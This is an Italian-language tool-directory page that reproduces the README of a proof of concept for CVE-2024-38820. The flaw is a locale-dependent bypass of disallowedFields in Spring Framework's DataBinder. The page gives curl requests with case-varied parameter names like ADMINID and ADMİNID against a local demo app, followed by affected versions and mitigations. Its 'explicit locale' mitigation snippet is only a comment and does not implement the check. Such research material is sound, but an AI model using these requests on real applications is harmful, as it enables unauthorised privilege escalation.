Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC-CVE-2024-38820 | Kitploit
Strumenti/GitHubGitHub/kadamnayan/poc-cve-2024-38820
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubkadamnayan/poc-cve-2024-38820

POC-CVE-2024-38820

Vedi Repository
10 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-38820 Prova di concetto

Panoramica

Questo progetto dimostra CVE-2024-38820, una vulnerabilità nel DataBinder di Spring Framework che consente di aggirare la protezione disallowedFields a causa di problemi di conversione di maiuscole/minuscole dipendenti dalla locale.

Dettagli della Vulnerabilità

  • CVE ID: CVE-2024-38820
  • Componente Affetto: DataBinder di Spring Framework
  • Causa Principale: il comportamento di String.toLowerCase() varia in base alla locale
  • Impatto: bypass della protezione dei campi, potenziale escalation dei privilegi

Il Problema

La correzione per CVE-2022-22968 ha reso i pattern di disallowedFields insensibili alle maiuscole/minuscole utilizzando String.toLowerCase(). Tuttavia, questo metodo presenta eccezioni dipendenti dalla locale:

  • Nella locale turca: "ADMINID".toLowerCase() diventa "adminıd" (con la ı senza punto)
  • Nella locale inglese: "ADMINID".toLowerCase() diventa "adminid"

Questa differenza può consentire agli attaccanti di aggirare la protezione dei campi utilizzando specifiche variazioni di maiuscole/minuscole.

Struttura del Progetto

root@kitploit:~
src/
├── main/java/com/example/demo/
│   ├── DemoApplication.java          # Spring Boot main class
│   ├── controller/UserController.java # Vulnerable controller with @InitBinder
│   └── model/UserInfo.java           # Model with protected adminId field
└── resources/application.properties   # Locale configuration

test-cve-2024-38820.sh                # Automated test script
pom.xml                               # Maven dependencies (Spring 5.3.39 - vulnerable)

Avvio Rapido

1. Compilazione ed Esecuzione

root@kitploit:~
# Build the project
mvn clean compile

# Run the application
mvn spring-boot:run

L'applicazione si avvierà su http://localhost:8081

2. Test Manuale

Visita l'endpoint di test per vedere le informazioni sulla locale:

root@kitploit:~
http://localhost:8081/test

Prova diverse variazioni del nome del campo:

root@kitploit:~
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"

# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"

# Mixed case (may bypass)  
curl "http://localhost:8081/user?username=test&AdminId=999"

# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"

3. Test Automatico

Esegui lo script di test completo:

root@kitploit:~
./test-cve-2024-38820.sh

Risultati Attesi

Con Locale Turca (tr_TR)

  • ✅ adminId=999 → BLOCCATO (caso normale)
  • 🚨 ADMINID=999 → AGGIRATO (maiuscolo)
  • 🚨 AdminId=999 → AGGIRATO (maiuscole/minuscole miste)
  • 🚨 ADMİNID=999 → AGGIRATO (İ turca)

Con Locale Inglese (en_US)

  • ✅ adminId=999 → BLOCCATO (caso normale)
  • ✅ ADMINID=999 → BLOCCATO (protetto)
  • ✅ AdminId=999 → BLOCCATO (protetto)

Configurazione

Modifica della Locale

Modifica src/main/resources/application.properties:

root@kitploit:~
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR

# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US

Impostazione della Locale JVM

Puoi anche impostare la locale predefinita della JVM:

root@kitploit:~
mvn spring-boot:run -Duser.language=tr -Duser.country=TR

Analisi della Vulnerabilità

Flusso del Codice

  1. Elaborazione della Richiesta: Spring riceve la richiesta HTTP con i parametri
  2. Configurazione del DataBinder: @InitBinder configura disallowedFields("adminId")
  3. Corrispondenza dei Campi: Spring utilizza una corrispondenza insensibile alle maiuscole/minuscole con toLowerCase()
  4. Problema di Locale: Nella locale turca, "ADMINID".toLowerCase() ≠ "adminid"
  5. Bypass: La protezione dei campi fallisce, adminId viene impostato

Output di Debug

L'applicazione registra informazioni dettagliate:

root@kitploit:~
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'

Versioni Interessate

  • Spring Framework: 5.3.x (prima di 5.3.40), 6.0.x (prima di 6.0.24), 6.1.x (prima di 6.1.13)
  • Spring Boot: versioni 2.x e 3.x che utilizzano versioni interessate di Spring Framework

Mitigazione

1. Aggiorna Spring Framework

  • Spring Framework 5.3.40+
  • Spring Framework 6.0.24+
  • Spring Framework 6.1.13+

2. Impostazione Esplicita della Locale

Utilizza una corrispondenza dei campi che tenga conto della locale:

root@kitploit:~
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
    // Use English locale explicitly
    dataBinder.setDisallowedFields("adminId");
    // Additional protection: check field names with specific locale
}

3. Validazione Personalizzata dei Campi

Implementa una validazione personalizzata dei campi che non si basi su operazioni dipendenti dalla locale.

Riferimenti

  • CVE-2024-38820 - NVD
  • Avviso di Sicurezza di Spring Framework
  • CVE-2022-22968 correlato

Avviso Legale

Questa prova di concetto è solo a scopo educativo e di ricerca sulla sicurezza. Utilizzala in modo responsabile e solo su sistemi di tua proprietà o per cui hai ottenuto esplicita autorizzazione al test.

Scarica lo strumento